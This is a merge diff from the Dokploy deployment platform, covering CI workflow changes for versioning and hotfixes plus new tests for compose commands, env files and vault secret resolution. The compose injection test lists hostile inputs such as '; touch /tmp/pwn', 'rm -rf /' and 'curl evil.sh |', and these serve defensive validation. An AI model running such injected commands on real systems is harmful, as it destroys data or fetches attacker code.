Merge branch 'canary' into feat/domain-enable-disable

fix: exclude node_modules/.next from biome scanner, bump to 2.5.7

.github/workflows/dokploy.yml

@@ -140,6 +140,7 @@ jobs:
     runs-on: ubuntu-latest
     outputs:
       version: ${{ steps.get_version.outputs.version }}
+      npm_version: ${{ steps.get_version.outputs.npm_version }}
     steps:
       - name: Checkout
         uses: actions/checkout@v4
@@ -151,6 +152,7 @@ jobs:
         run: |
           VERSION=$(node -p "require('./apps/dokploy/package.json').version")
           echo "version=$VERSION" >> $GITHUB_OUTPUT
+          echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT
 
       - name: Fetch install.sh
         run: |
@@ -164,6 +166,7 @@ jobs:
         uses: softprops/action-gh-release@v2
         with:
           tag_name: ${{ steps.get_version.outputs.version }}
+          target_commitish: ${{ github.sha }}
           name: ${{ steps.get_version.outputs.version }}
           generate_release_notes: true
           draft: false
@@ -180,15 +183,18 @@ jobs:
       - name: Checkout
         uses: actions/checkout@v4
 
+      - uses: pnpm/action-setup@v4
+        with:
+          version: 10.22.0
+
       - name: Sync version to MCP repository
         run: |
           git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
           cd /tmp/mcp-repo
 
-          jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
+          jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
           mv package.json.tmp package.json
 
-          npm install -g pnpm
           pnpm install
           pnpm run fetch-openapi
           pnpm run generate
@@ -196,55 +202,53 @@ jobs:
           git config user.name "Dokploy Bot"
           git config user.email "bot@dokploy.com"
           git add -A
-          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
+          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
             -m "Source: ${{ github.repository }}@${{ github.sha }}" \
             --allow-empty
           git push
 
-          echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}"
+          echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
 
       - name: Sync version to CLI repository
         run: |
           git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
           cd /tmp/cli-repo
 
-          jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
+          jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
           mv package.json.tmp package.json
 
           cp ${{ github.workspace }}/openapi.json ./openapi.json
-          npm install -g pnpm
           pnpm install
           pnpm run generate
 
           git config user.name "Dokploy Bot"
           git config user.email "bot@dokploy.com"
           git add -A
-          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
+          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
             -m "Source: ${{ github.repository }}@${{ github.sha }}" \
             --allow-empty
           git push
 
-          echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}"
+          echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
 
       - name: Sync version to SDK repository
         run: |
           git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
           cd /tmp/sdk-repo
 
-          jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
+          jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
           mv package.json.tmp package.json
 
           cp ${{ github.workspace }}/openapi.json ./openapi.json
-          npm install -g pnpm
           pnpm install
           pnpm run generate
 
           git config user.name "Dokploy Bot"
           git config user.email "bot@dokploy.com"
           git add -A
-          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
+          git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
             -m "Source: ${{ github.repository }}@${{ github.sha }}" \
             --allow-empty
           git push
 
-          echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}"
+          echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"

.github/workflows/hotfix-cherry-pick.yml

@@ -0,0 +1,36 @@
+name: Hotfix Cherry-Pick
+
+on:
+  pull_request_target:
+    types: [closed, labeled]
+
+concurrency:
+  group: hotfix-to-main
+  cancel-in-progress: false
+
+jobs:
+  cherry-pick:
+    if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
+    runs-on: ubuntu-latest
+    permissions:
+      contents: write
+    steps:
+      - name: Checkout main
+        uses: actions/checkout@v4
+        with:
+          ref: main
+          fetch-depth: 0
+          token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
+
+      - name: Cherry-pick fix to main
+        run: |
+          git config user.name "Dokploy Bot"
+          git config user.email "bot@dokploy.com"
+          SHA="${{ github.event.pull_request.merge_commit_sha }}"
+          if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
+            git cherry-pick -x -m 1 "$SHA"
+          else
+            git cherry-pick -x "$SHA"
+          fi
+          git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
+          git push origin main

.github/workflows/hotfix-release.yml

@@ -0,0 +1,28 @@
+name: Hotfix Release
+
+on:
+  workflow_dispatch:
+
+concurrency:
+  group: hotfix-to-main
+  cancel-in-progress: false
+
+jobs:
+  release:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout main
+        uses: actions/checkout@v4
+        with:
+          ref: main
+          token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
+
+      - name: Bump patch version and push
+        run: |
+          git config user.name "Dokploy Bot"
+          git config user.email "bot@dokploy.com"
+          CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
+          NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
+          sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
+          git commit -am "chore: release ${NEW}"
+          git push origin main

apps/dokploy/__test__/compose/compose-command-injection.test.ts

@@ -28,7 +28,7 @@ const runsSafely = (command: string) => {
 
 const PAYLOADS = [
 	`$(touch ${MARK})`,
-	"`touch " + MARK + "`",
+	`\`touch ${MARK}\``,
 	`x; touch ${MARK}`,
 	`x | touch ${MARK}`,
 ];
@@ -101,4 +101,69 @@ describe("compose createCommand injection", () => {
 			"deploy/docker-compose.prod.yml",
 		);
 	});
+
+	it("allows chained docker compose commands with '&&'", () => {
+		const cmd = createCommand({
+			...base,
+			command:
+				"compose pull && docker compose down && docker compose up -d --build",
+		} as any);
+		expect(cmd).toBe(
+			"compose pull && docker compose down && docker compose up -d --build",
+		);
+	});
+
+	it("allows chaining with the legacy 'docker-compose' spelling", () => {
+		const cmd = createCommand({
+			...base,
+			command: "compose pull && docker-compose down",
+		} as any);
+		expect(cmd).toBe("compose pull && docker-compose down");
+	});
+
+	it("rejects a single '&' used for backgrounding", () => {
+		expect(() =>
+			createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
+		).toThrow(/Single '&' is not allowed/);
+	});
+
+	it("rejects a malformed '&&&' chain", () => {
+		expect(() =>
+			createCommand({
+				...base,
+				command: "compose pull &&& docker compose up -d",
+			} as any),
+		).toThrow(/Single '&' is not allowed/);
+	});
+
+	it("rejects chained segments that are not docker compose invocations", () => {
+		expect(() =>
+			createCommand({
+				...base,
+				command: "compose pull && rm -rf /",
+			} as any),
+		).toThrow(/must strictly start with 'docker compose '/);
+	});
+
+	it("rejects an attempted injection smuggled inside a chained segment", () => {
+		for (const bad of [
+			"compose pull && docker compose up -d; touch /tmp/pwn",
+			"compose pull && docker compose up -d $(touch /tmp/pwn)",
+			"compose pull && docker compose up -d `touch /tmp/pwn`",
+			"compose pull && docker compose up -d | touch /tmp/pwn",
+		]) {
+			expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
+				/Invalid characters/,
+			);
+		}
+	});
+
+	it("rejects a chain that only pretends to start with docker compose later in the string", () => {
+		expect(() =>
+			createCommand({
+				...base,
+				command: "compose pull && curl evil.sh | docker compose up -d",
+			} as any),
+		).toThrow(/Invalid characters/);
+	});
 });

apps/dokploy/__test__/compose/domain/enabled-filter.test.ts

@@ -0,0 +1,110 @@
+import type { Compose } from "@dokploy/server/services/compose";
+import type { Domain } from "@dokploy/server/services/domain";
+import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+// addDomainToCompose reads the compose file from disk through loadDockerCompose
+// (existsSync + readFileSync). Mock node:fs so the function runs its real
+// label-generation logic against an in-memory compose spec.
+const composeYaml = `
+services:
+  frigate:
+    image: frigate
+`;
+
+vi.mock("node:fs", async (importOriginal) => {
+	const actual = await importOriginal<typeof import("node:fs")>();
+	return {
+		...actual,
+		existsSync: vi.fn(() => true),
+		readFileSync: vi.fn(() => composeYaml),
+	};
+});
+
+const baseCompose = {
+	appName: "test-app",
+	composeType: "docker-compose",
+	composePath: "docker-compose.yml",
+	sourceType: "raw",
+	serverId: null,
+	isolatedDeployment: false,
+	randomize: false,
+	suffix: "",
+} as unknown as Compose;
+
+const baseDomain: Domain = {
+	host: "frigate.example.com",
+	port: 8971,
+	customEntrypoint: null,
+	https: false,
+	uniqueConfigKey: 1,
+	customCertResolver: null,
+	certificateType: "none",
+	applicationId: "",
+	composeId: "compose-id",
+	domainType: "compose",
+	serviceName: "frigate",
+	domainId: "domain-id",
+	path: "/",
+	createdAt: "",
+	previewDeploymentId: "",
+	internalPath: "/",
+	stripPath: false,
+	middlewares: null,
+	forwardAuthEnabled: false,
+	enabled: true,
+};
+
+const serviceLabels = (
+	result: Awaited<ReturnType<typeof addDomainToCompose>>,
+) => (result?.services?.frigate?.labels as string[] | undefined) ?? [];
+
+describe("addDomainToCompose enabled filtering", () => {
+	beforeEach(() => {
+		vi.clearAllMocks();
+	});
+
+	it("generates traefik labels for an enabled domain", async () => {
+		const result = await addDomainToCompose(baseCompose, [
+			{ ...baseDomain, enabled: true },
+		]);
+
+		const labels = serviceLabels(result);
+		expect(labels).toContain("traefik.enable=true");
+		expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
+			true,
+		);
+	});
+
+	it("skips a disabled domain entirely (no traefik labels)", async () => {
+		const result = await addDomainToCompose(baseCompose, [
+			{ ...baseDomain, enabled: false },
+		]);
+
+		const labels = serviceLabels(result);
+		expect(labels).not.toContain("traefik.enable=true");
+		expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
+			false,
+		);
+	});
+
+	it("emits labels only for the enabled domain when both are present", async () => {
+		const result = await addDomainToCompose(baseCompose, [
+			{ ...baseDomain, host: "enabled.example.com", enabled: true },
+			{
+				...baseDomain,
+				host: "disabled.example.com",
+				uniqueConfigKey: 2,
+				enabled: false,
+			},
+		]);
+
+		const labels = serviceLabels(result);
+		expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe(
+			true,
+		);
+		expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe(
+			false,
+		);
+	});
+});

apps/dokploy/__test__/compose/domain/host-rule-format.test.ts

@@ -35,6 +35,7 @@ describe("Host rule format regression tests", () => {
 		customEntrypoint: null,
 		middlewares: null,
 		forwardAuthEnabled: false,
+		enabled: true,
 	};
 
 	describe("Host rule format validation", () => {

apps/dokploy/__test__/compose/domain/labels.test.ts

@@ -24,6 +24,7 @@ describe("createDomainLabels", () => {
 		stripPath: false,
 		middlewares: null,
 		forwardAuthEnabled: false,
+		enabled: true,
 	};
 
 	it("should create basic labels for web entrypoint", async () => {

apps/dokploy/__test__/compose/env-file-literals.test.ts

@@ -0,0 +1,96 @@
+import { execFileSync } from "node:child_process";
+import { mkdirSync, rmSync, writeFileSync } from "node:fs";
+import { join } from "node:path";
+import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
+import { afterEach, describe, expect, it } from "vitest";
+
+// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
+// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
+const appName = `env-file-literals-${process.pid}`;
+const projectPath = join(process.cwd(), ".docker", "compose", appName);
+const codePath = join(projectPath, "code");
+
+afterEach(() => {
+	try {
+		execFileSync("docker", ["compose", "down", "--remove-orphans"], {
+			cwd: codePath,
+			stdio: "ignore",
+		});
+	} catch {
+		// Project may not have been created (e.g. an earlier assertion failed).
+	}
+	rmSync(projectPath, { force: true, recursive: true });
+});
+
+const cases: Record<string, string> = {
+	PASSWORD: "pa$$word",
+	SPECIAL: '!"#$%&/()=?',
+	NESTED_JSON: '{"nested":{"a":1}}',
+	MAIL_PASSWORD: "abc#de",
+	TRAILING_BACKSLASH: "trailing\\",
+	QUOTE_INSIDE: 'she said "hi"',
+	APOSTROPHE: "it's a test",
+	UNICODE: "héllo wörld 日本語 🚀",
+	MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
+};
+
+// How each value must be typed in the UI so the (unchanged) dotenv input
+// parser resolves it to the raw string in `cases` above.
+const inputEncoding: Record<string, string> = {
+	PASSWORD: "pa$$word",
+	SPECIAL: `'!"#$%&/()=?'`,
+	NESTED_JSON: '{"nested":{"a":1}}',
+	MAIL_PASSWORD: `"abc#de"`,
+	TRAILING_BACKSLASH: "trailing\\",
+	QUOTE_INSIDE: 'she said "hi"',
+	APOSTROPHE: "it's a test",
+	UNICODE: "héllo wörld 日本語 🚀",
+	MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
+};
+
+describe("getCreateEnvFileCommand", () => {
+	it("writes special environment values that Docker Compose reads back literally", () => {
+		mkdirSync(codePath, { recursive: true });
+
+		const serviceEnv = Object.entries(inputEncoding)
+			.map(([key, value]) => `${key}=${value}`)
+			.join("\n");
+
+		const command = getCreateEnvFileCommand({
+			appName,
+			composePath: "docker-compose.yml",
+			env: serviceEnv,
+			randomize: false,
+			suffix: "",
+			serverId: null,
+			environment: { project: { env: "" }, env: "" },
+		} as Parameters<typeof getCreateEnvFileCommand>[0]);
+
+		execFileSync("bash", ["-c", command]);
+
+		const composeFile = `services:\n  test:\n    image: busybox\n    environment:\n${Object.keys(
+			cases,
+		)
+			.map((key) => `      - ${key}=\${${key}}`)
+			.join("\n")}\n`;
+		writeFileSync(join(codePath, "docker-compose.yml"), composeFile);
+
+		const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;
+
+		const out = execFileSync(
+			"docker",
+			["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
+			{ cwd: codePath, encoding: "utf8" },
+		);
+
+		const parts = out.split("\0");
+		const actual: Record<string, string> = {};
+		for (let i = 0; i < parts.length - 1; i += 2) {
+			actual[parts[i] as string] = parts[i + 1] as string;
+		}
+
+		for (const [key, value] of Object.entries(cases)) {
+			expect(actual[key], key).toBe(value);
+		}
+	}, 60000);
+});

apps/dokploy/__test__/compose/env-file-preserved.test.ts

@@ -0,0 +1,45 @@
+import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
+import { describe, expect, it, vi } from "vitest";
+
+// Compose now has a `createEnvFile` toggle (default true), mirroring the
+// Application builder's flag: when disabled, Dokploy never writes `.env`,
+// so a repo-tracked file survives untouched.
+vi.mock("@dokploy/server/utils/docker/domain", () => ({
+	writeDomainsToCompose: vi.fn().mockResolvedValue(""),
+}));
+
+const baseCompose = {
+	appName: "env-file-toggle",
+	sourceType: "raw",
+	command: "",
+	composePath: "docker-compose.yml",
+	composeType: "docker-compose",
+	isolatedDeployment: false,
+	randomize: false,
+	suffix: "",
+	serverId: null,
+	env: "FOO=bar",
+	mounts: [],
+	domains: [],
+	environment: { project: { env: "" }, env: "" },
+} as unknown as Parameters<typeof getBuildComposeCommand>[0];
+
+describe("getBuildComposeCommand createEnvFile toggle", () => {
+	it("createEnvFile: false never writes the .env file", async () => {
+		const command = await getBuildComposeCommand({
+			...baseCompose,
+			createEnvFile: false,
+		});
+
+		expect(command).not.toContain("base64 -d >");
+	});
+
+	it("createEnvFile: true (default) writes Dokploy's vars", async () => {
+		const command = await getBuildComposeCommand({
+			...baseCompose,
+			createEnvFile: true,
+		});
+
+		expect(command).toContain("base64 -d >");
+	});
+});

apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts

@@ -0,0 +1,43 @@
+import { execFileSync } from "node:child_process";
+import { mkdirSync, readFileSync, rmSync } from "node:fs";
+import { join } from "node:path";
+import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils";
+import { parse } from "dotenv";
+import { afterEach, describe, expect, it } from "vitest";
+
+// Unlike compose's .env, this one is read by the app's own build tooling
+// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped.
+const appName = `env-file-literals-dockerfile-${process.pid}`;
+const projectPath = join(process.cwd(), ".docker", "compose", appName);
+const codePath = join(projectPath, "code");
+const dockerFilePath = join(codePath, "Dockerfile");
+
+afterEach(() => rmSync(projectPath, { force: true, recursive: true }));
+
+const cases: Record<string, string> = {
+	PASSWORD: "pa$$word",
+	NESTED_JSON: '{"nested":{"a":1}}',
+	QUOTE_INSIDE: 'she said "hi"',
+	BACKSLASH: "back\\slash",
+	UNICODE: "héllo wörld 日本語 🚀",
+};
+
+describe("createEnvFileCommand", () => {
+	it("writes special environment values that a generic dotenv parser reads back literally", () => {
+		mkdirSync(codePath, { recursive: true });
+
+		const serviceEnv = Object.entries(cases)
+			.map(([key, value]) => `${key}=${value}`)
+			.join("\n");
+
+		const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", "");
+		execFileSync("bash", ["-c", command]);
+
+		const written = readFileSync(join(codePath, ".env"), "utf8");
+		const parsed = parse(written);
+
+		for (const [key, value] of Object.entries(cases)) {
+			expect(parsed[key], key).toBe(value);
+		}
+	});
+});

apps/dokploy/__test__/env/vault.test.ts

@@ -0,0 +1,442 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const findMany = vi.fn();
+
+vi.mock("@dokploy/server/db", () => ({
+	db: {
+		query: {
+			vaultProvider: {
+				findMany: (...args: unknown[]) => findMany(...args),
+			},
+		},
+	},
+}));
+
+import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils";
+import {
+	resolveVaultReferences,
+	withResolvedVaultRefs,
+} from "@dokploy/server/utils/vault";
+import { azureClient } from "@dokploy/server/utils/vault/azure";
+import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
+import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
+
+const mockFetch = vi.fn();
+global.fetch = mockFetch as typeof fetch;
+
+const jsonResponse = (body: unknown, ok = true, status = 200) =>
+	({
+		ok,
+		status,
+		json: async () => body,
+	}) as Response;
+
+beforeEach(() => {
+	findMany.mockReset();
+	mockFetch.mockReset();
+});
+
+const scope = {
+	organizationId: "org-1",
+	projectId: "proj-1",
+	environmentId: "env-1",
+};
+
+const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }];
+
+describe("resolveVaultReferences", () => {
+	it("returns input untouched and skips the db when no refs are present", async () => {
+		const env = "FOO=bar\nBAZ=${{project.QUX}}";
+		const result = await resolveVaultReferences(env, scope);
+		expect(result).toBe(env);
+		expect(findMany).not.toHaveBeenCalled();
+	});
+
+	it("returns null/empty inputs unchanged", async () => {
+		expect(await resolveVaultReferences(null, scope)).toBeNull();
+		expect(await resolveVaultReferences("", scope)).toBe("");
+	});
+
+	it("throws when refs exist but no organization context is given", async () => {
+		await expect(
+			resolveVaultReferences("FOO=${{vault.prod.SECRET}}"),
+		).rejects.toThrow("not supported in this context");
+	});
+
+	it("throws for an unknown provider", async () => {
+		findMany.mockResolvedValue([]);
+		await expect(
+			resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope),
+		).rejects.toThrow('Vault provider "missing" not found');
+	});
+
+	it("throws when the provider is not assigned to the project", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: [{ projectId: "other-project", environmentIds: [] }],
+			},
+		]);
+		await expect(
+			resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
+		).rejects.toThrow("not enabled for this project/environment");
+	});
+
+	it("throws when the provider is restricted to another environment", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: [
+					{ projectId: "proj-1", environmentIds: ["production-env"] },
+				],
+			},
+		]);
+		await expect(
+			resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
+		).rejects.toThrow("not enabled for this project/environment");
+	});
+
+	it("allows a provider restricted to the matching environment", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }],
+			},
+		]);
+		mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" }));
+		const result = await resolveVaultReferences(
+			"FOO=${{vault.prod.SECRET}}",
+			scope,
+		);
+		expect(result).toBe("FOO=value-1");
+	});
+
+	it("resolves refs through a doppler provider", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "doppler-prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: assignedEverywhere,
+			},
+		]);
+		mockFetch.mockResolvedValue(
+			jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }),
+		);
+
+		const result = await resolveVaultReferences(
+			"DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}",
+			scope,
+		);
+
+		expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123");
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+	});
+
+	it("throws when the secret is missing in the provider", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "doppler-prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: assignedEverywhere,
+			},
+		]);
+		mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" }));
+
+		await expect(
+			resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope),
+		).rejects.toThrow('secret "MISSING" not found');
+	});
+});
+
+describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => {
+	it("resolves entity env sources so sync interpolation sees real values", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: assignedEverywhere,
+			},
+		]);
+		mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" }));
+
+		const entity = {
+			env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db",
+			environment: {
+				environmentId: "env-1",
+				env: null,
+				project: {
+					projectId: "proj-1",
+					env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}",
+					organizationId: "org-1",
+				},
+			},
+		};
+
+		const resolved = await withResolvedVaultRefs(entity);
+		const prepared = prepareEnvironmentVariables(
+			resolved.env,
+			resolved.environment.project.env,
+			resolved.environment.env,
+		);
+
+		expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]);
+	});
+
+	it("resolves buildArgs and buildSecrets when present", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: assignedEverywhere,
+			},
+		]);
+		mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" }));
+
+		const resolved = await withResolvedVaultRefs({
+			env: "FOO=bar",
+			buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}",
+			buildSecrets: null,
+			environment: {
+				environmentId: "env-1",
+				env: null,
+				project: { projectId: "proj-1", env: null, organizationId: "org-1" },
+			},
+		});
+
+		expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123");
+		expect(resolved.buildSecrets).toBeNull();
+		expect(resolved.env).toBe("FOO=bar");
+	});
+
+	it.each([
+		["service env", { env: "SECRET=${{vault.locked.X}}" }],
+		["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }],
+		["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }],
+		["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }],
+	])(
+		"rejects a ref to an unassigned provider placed in the %s",
+		async (_source, overrides) => {
+			findMany.mockResolvedValue([
+				{
+					name: "locked",
+					providerType: "doppler",
+					config: { providerType: "doppler", serviceToken: "dp.st.token" },
+					assignments: [{ projectId: "other-project", environmentIds: [] }],
+				},
+			]);
+
+			const entity = {
+				env: (overrides as { env?: string }).env ?? "FOO=bar",
+				buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null,
+				environment: {
+					environmentId: "env-1",
+					env:
+						(overrides as { environmentEnv?: string }).environmentEnv ?? null,
+					project: {
+						projectId: "proj-1",
+						env: (overrides as { projectEnv?: string }).projectEnv ?? null,
+						organizationId: "org-1",
+					},
+				},
+			};
+
+			await expect(withResolvedVaultRefs(entity)).rejects.toThrow(
+				"not enabled for this project/environment",
+			);
+			expect(mockFetch).not.toHaveBeenCalled();
+		},
+	);
+
+	it("rejects a ref restricted to another environment from the environment env", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod-only",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: [
+					{ projectId: "proj-1", environmentIds: ["production-env"] },
+				],
+			},
+		]);
+
+		await expect(
+			withResolvedVaultRefs({
+				env: null,
+				environment: {
+					environmentId: "dev-env",
+					env: "SECRET=${{vault.prod-only.X}}",
+					project: { projectId: "proj-1", env: null, organizationId: "org-1" },
+				},
+			}),
+		).rejects.toThrow("not enabled for this project/environment");
+		expect(mockFetch).not.toHaveBeenCalled();
+	});
+
+	it("prepareEnvironmentVariables throws on unresolved vault refs", () => {
+		expect(() =>
+			prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""),
+		).toThrow("Unresolved vault reference");
+	});
+
+	it("keeps working without vault refs", () => {
+		const prepared = prepareEnvironmentVariables(
+			"FOO=${{project.BAR}}",
+			"BAR=baz",
+		);
+		expect(prepared).toEqual(["FOO=baz"]);
+		expect(findMany).not.toHaveBeenCalled();
+	});
+});
+
+describe("hashicorp client", () => {
+	const config = {
+		providerType: "hashicorp" as const,
+		url: "https://vault.example.com",
+		token: "hvs.token",
+		mount: "secret",
+	};
+
+	it("rejects refs without a field", async () => {
+		await expect(
+			hashicorpClient.getSecrets(config, ["myapp/prod"]),
+		).rejects.toThrow("expected format <path>:<field>");
+	});
+
+	it("groups refs by path and picks fields from KV v2 data", async () => {
+		mockFetch.mockResolvedValue(
+			jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }),
+		);
+
+		const result = await hashicorpClient.getSecrets(config, [
+			"myapp/prod:USER",
+			"myapp/prod:PASS",
+		]);
+
+		expect(result).toEqual({
+			"myapp/prod:USER": "admin",
+			"myapp/prod:PASS": "pw",
+		});
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+		expect(mockFetch.mock.calls[0]?.[0]).toBe(
+			"https://vault.example.com/v1/secret/data/myapp/prod",
+		);
+	});
+
+	it("throws when a field is missing", async () => {
+		mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } }));
+		await expect(
+			hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]),
+		).rejects.toThrow('field "MISSING" not found');
+	});
+
+	it("lists full path:field refs by walking directories", async () => {
+		mockFetch.mockImplementation(async (url: string) => {
+			if (url.includes("/metadata?list=true")) {
+				return jsonResponse({ data: { keys: ["myapp/", "shared"] } });
+			}
+			if (url.includes("/metadata/myapp?list=true")) {
+				return jsonResponse({ data: { keys: ["prod"] } });
+			}
+			if (url.includes("/data/myapp/prod")) {
+				return jsonResponse({
+					data: { data: { API_KEY: "a", DB_PASSWORD: "b" } },
+				});
+			}
+			if (url.includes("/data/shared")) {
+				return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } });
+			}
+			return jsonResponse({}, false, 404);
+		});
+
+		const names = await hashicorpClient.listSecretNames?.(config);
+
+		expect(names).toEqual([
+			"myapp/prod:API_KEY",
+			"myapp/prod:DB_PASSWORD",
+			"shared:STRIPE_KEY",
+		]);
+	});
+});
+
+describe("azure client", () => {
+	const config = {
+		providerType: "azure" as const,
+		vaultUri: "https://my-vault.vault.azure.net",
+		tenantId: "tenant-1",
+		clientId: "client-1",
+		clientSecret: "secret-1",
+	};
+
+	it("authenticates and reads secrets by name", async () => {
+		mockFetch.mockImplementation(async (url: string) => {
+			if (url.includes("login.microsoftonline.com/tenant-1")) {
+				return jsonResponse({ access_token: "azure-token" });
+			}
+			if (url.includes("/secrets/db-password?")) {
+				return jsonResponse({ value: "azure-pw" });
+			}
+			return jsonResponse({}, false, 404);
+		});
+
+		const result = await azureClient.getSecrets(config, ["db-password"]);
+
+		expect(result).toEqual({ "db-password": "azure-pw" });
+	});
+
+	it("throws a clear error for missing secrets", async () => {
+		mockFetch.mockImplementation(async (url: string) => {
+			if (url.includes("login.microsoftonline.com")) {
+				return jsonResponse({ access_token: "azure-token" });
+			}
+			return jsonResponse({}, false, 404);
+		});
+
+		await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow(
+			'secret "nope" not found',
+		);
+	});
+
+	it("lists secret names from paged results", async () => {
+		mockFetch.mockImplementation(async (url: string) => {
+			if (url.includes("login.microsoftonline.com")) {
+				return jsonResponse({ access_token: "azure-token" });
+			}
+			if (url.includes("skiptoken")) {
+				return jsonResponse({
